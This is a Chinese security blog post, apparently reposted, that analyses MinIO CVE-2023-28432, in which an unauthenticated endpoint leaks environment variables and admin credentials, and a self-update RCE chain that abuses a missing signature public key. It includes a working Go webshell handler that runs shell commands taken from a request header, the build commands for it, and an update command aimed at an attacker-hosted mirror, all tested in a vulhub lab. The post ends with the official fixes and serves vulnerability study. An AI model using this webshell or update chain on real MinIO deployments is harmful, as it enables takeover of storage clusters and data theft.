MinIO CVE-2023-28432 & 自更新 RCE 分析

admin 2023年12月16日08:49:03评论20 views字数 4720阅读15分44秒阅读模式

正好最近入坑了 Golang, 做个简单的审计练练手

MinIO 是一套私有云对象存储的解决方案

Github Advisory: https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q

漏洞原理为 MinIO 的某个 API 路由没有鉴权, 导致可以通过该路由获取 MinIO 在系统中的环境变量, 进而得到管理员的账号密码和 SecretKey

// minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
  ctx := newContext(r, w, "VerifyHandler")
  cfg := getServerSystemCfg()
  logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}

// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
  envs := env.List("MINIO_")
  envValues := make(map[string]string, len(envs))
  for _, envK := range envs {
    // skip certain environment variables as part
    // of the whitelist and could be configured
    // differently on each nodes, update skipEnvs()
    // map if there are such environment values
    if _, ok := skipEnvs[envK]; ok {
      continue
    }
    envValues[envK] = env.Get(envK, "")
  }
  return ServerSystemConfig{
    MinioEndpoints: globalEndpoints,
    MinioEnv:       envValues,
  }
}

通告上写到该漏洞只在集群模式下有效

下载源码直奔 cmd/router.go 查看路由

http://cn-sec.com/wp-content/uploads/2023/12/20231215113701-59.png

http://cn-sec.com/wp-content/uploads/2023/12/20231215113702-48.png

http://cn-sec.com/wp-content/uploads/2023/12/20231215113702-84.png

路由地址在最上面

http://cn-sec.com/wp-content/uploads/2023/12/20231215113704-98.png

以 vulhub 的环境为例, 注意发送的是 POST 方法

POST /minio/bootstrap/v1/verify

http://cn-sec.com/wp-content/uploads/2023/12/20231215113705-27.png

自更新是 MinIO 一项功能, 但是它的自更新可以指定一个私有的 mirror url, 导致可以将 url 指向恶意文件进而 RCE

MinIO 有一个管理客户端 mc, 它的 mc admin update 对应的就是服务端的自更新

https://min.io/docs/minio/linux/reference/minio-mc-admin/mc-admin-update.html

update handler 位于 AdminRouter 中

http://cn-sec.com/wp-content/uploads/2023/12/20231215113705-20.png

http://cn-sec.com/wp-content/uploads/2023/12/20231215113706-50.png

http://cn-sec.com/wp-content/uploads/2023/12/20231215113707-100.png

首先验证是否为 admin, 然后获取 updateURL, 如果为空的话会指定一个默认的 minioReleaseInfoURL, 即https://dl.min.io/server/minio/release/darwin-arm64/minio.sha256sum

http://cn-sec.com/wp-content/uploads/2023/12/20231215113707-94.png

然后调用 downloadReleaseURL 和 parseReleaseData

http://cn-sec.com/wp-content/uploads/2023/12/20231215113708-20.png

http://cn-sec.com/wp-content/uploads/2023/12/20231215113709-8.png

注意 parseReleaseData 会验证 sha256sum 的文件内容是否满足 <sha256 hash> minio.RELEASE.2016-10-07T01-16-39Z.<hotfix_optional> 的格式, 如果格式不对则会返回 error

http://cn-sec.com/wp-content/uploads/2023/12/20231215113710-74.png

验证完格式之后, 它会将路径重新处理, 改成 url + / + minio.RELEASE.2016-10-07T01-16-39Z.<hotfix_optional> 的形式,其中的 releaseInfo 与前面 sha256sum 中的第二个字段对应

然后会将目标版本和当前版本进行对比, 如果目标版本的日期小于等于当前版本会提示无需更新

http://cn-sec.com/wp-content/uploads/2023/12/20231215113711-16.png

再次下载对应的二进制文件, 调用 verifyBinary

verifyBinary 会验证签名和 sha256

http://cn-sec.com/wp-content/uploads/2023/12/20231215113711-19.png

这里本来的作用是获取对应的 .minisig 文件, 使用 minisignPubKey 解密, 验证签名是否正确

因为 minisignPubKey 是从环境变量中获得的, 如果环境变量中没有对应的值就会默认给个空值, 就会直接跳过下面对签名的验证

所以我们就可以利用这个缺陷来自更新恶意二进制文件实现 RCE

但由于 MinIO 默认在 Dockerfile 里面配置了官方的公钥, 所以官方 Docker 版本的 MinIO 就无法通过这种方式实现 RCE

http://cn-sec.com/wp-content/uploads/2023/12/20231215113712-48.png

后面调用 CommitBinary

http://cn-sec.com/wp-content/uploads/2023/12/20231215113713-43.png

CommitBinary 的功能其实就是替换当前的 MinIO 二进制文件

func CommitBinary(opts Options) error {
	// get the directory the file exists in
	targetPath, err := opts.getPath()
	if err != nil {
		return err
	}

	updateDir := filepath.Dir(targetPath)
	filename := filepath.Base(targetPath)
	newPath := filepath.Join(updateDir, fmt.Sprintf(".%s.new", filename))

	// this is where we'll move the executable to so that we can swap in the updated replacement
	oldPath := opts.OldSavePath
	removeOld := opts.OldSavePath == ""
	if removeOld {
		oldPath = filepath.Join(updateDir, fmt.Sprintf(".%s.old", filename))
	}

	// delete any existing old exec file - this is necessary on Windows for two reasons:
	// 1. after a successful update, Windows can't remove the .old file because the process is still running
	// 2. windows rename operations fail if the destination file already exists
	_ = os.Remove(oldPath)

	// move the existing executable to a new file in the same directory
	err = os.Rename(targetPath, oldPath)
	if err != nil {
		return err
	}

	// move the new exectuable in to become the new program
	err = os.Rename(newPath, targetPath)

	if err != nil {
		// move unsuccessful
		//
		// The filesystem is now in a bad state. We have successfully
		// moved the existing binary to a new location, but we couldn't move the new
		// binary to take its place. That means there is no file where the current executable binary
		// used to be!
		// Try to rollback by restoring the old binary to its original path.
		rerr := os.Rename(oldPath, targetPath)
		if rerr != nil {
			return &rollbackErr{err, rerr}
		}

		return err
	}

	// move successful, remove the old binary if needed
	if removeOld {
		errRemove := os.Remove(oldPath)

		// windows has trouble with removing old binaries, so hide it instead
		if errRemove != nil {
			_ = hideFile(oldPath)
		}
	}

	return nil
}

http://cn-sec.com/wp-content/uploads/2023/12/20231215113715-88.png

最后发送 serviceRestart 信号重启整个集群

综上, 要想实现自更新 RCE, 需要满足以下几个条件

  • 准备好符合命名格式的恶意二进制文件和对应的 sha256sum 文件
  • 文件名称中的版本日期必须大于目标 MinIO 的版本
  • 目标系统没有在环境变量中配置 MINIO_UPDATE_MINISIGN_PUBKEY
  • 因为自更新需要替换整个二进制文件并重启, 所以需要二开官方的 MinIO, 在里面加入一个 webshell

注意更新这个操作在实战环境中会有一定的风险, 所以我们需要基于目标当前版本的 MinIO 进行二开

使用 mc 可以获取到目标 MinIO 的版本

mc alias set minio http://127.0.0.1:9000/ minioadmin minioadmin-vulhub
mc admin info minio

http://cn-sec.com/wp-content/uploads/2023/12/20231215113716-21.png

下载好对应的源码, 在 routers.go 里面加一个 evil handler

package cmd

import (
	"net/http"
	"os/exec"
)

func evilHandler(h http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		cmd := r.Header.Get("Cmd")
		if cmd != "" {
			p := exec.Command("bash", "-c", cmd)
			output, _ := p.Output()
			w.Write([]byte(output))
		} else {
			h.ServeHTTP(w, r)
		}
	})
}

http://cn-sec.com/wp-content/uploads/2023/12/20231215113717-57.png

编译, 生成对应的 sha256sum

go mod tidy
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build
mv minio minio.RELEASE.2023-02-27T18-10-50Z
shasum -a 256 minio.RELEASE.2023-02-27T18-10-50Z > minio.RELEASE.2023-02-27T18-10-50Z.sha256sum

最后利用 mc 发送自更新的请求

mc admin update minio http://host.docker.internal:8000/minio.RELEASE.2023-02-27T18-10-50Z.sha256sum

http://cn-sec.com/wp-content/uploads/2023/12/20231215113718-22.png

效果

d3prokzwt4u.png

并且由于是集群模式, 集群中的所有主机都自更新了一次

fa2fcj5szry.png

官方的修复方法

https://github.com/minio/minio/commit/3b5dbf90468b874e99253d241d16d175c2454077

https://github.com/minio/minio/commit/05444a0f6af8389b9bb85280fc31337c556d4300

首先对 verfiy handler 加上了鉴权, 并且对环境变量做了一次 hash, 这样就无法得到实际的内容

然后设置了默认公钥, 即 defaultMinisignPubkey, 阻止了自更新 RCE 的可能性

- By:X1r0z[exp10it.cn]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月16日08:49:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MinIO CVE-2023-28432 & 自更新 RCE 分析https://cn-sec.com/archives/2305017.html

发表评论

匿名网友 填写信息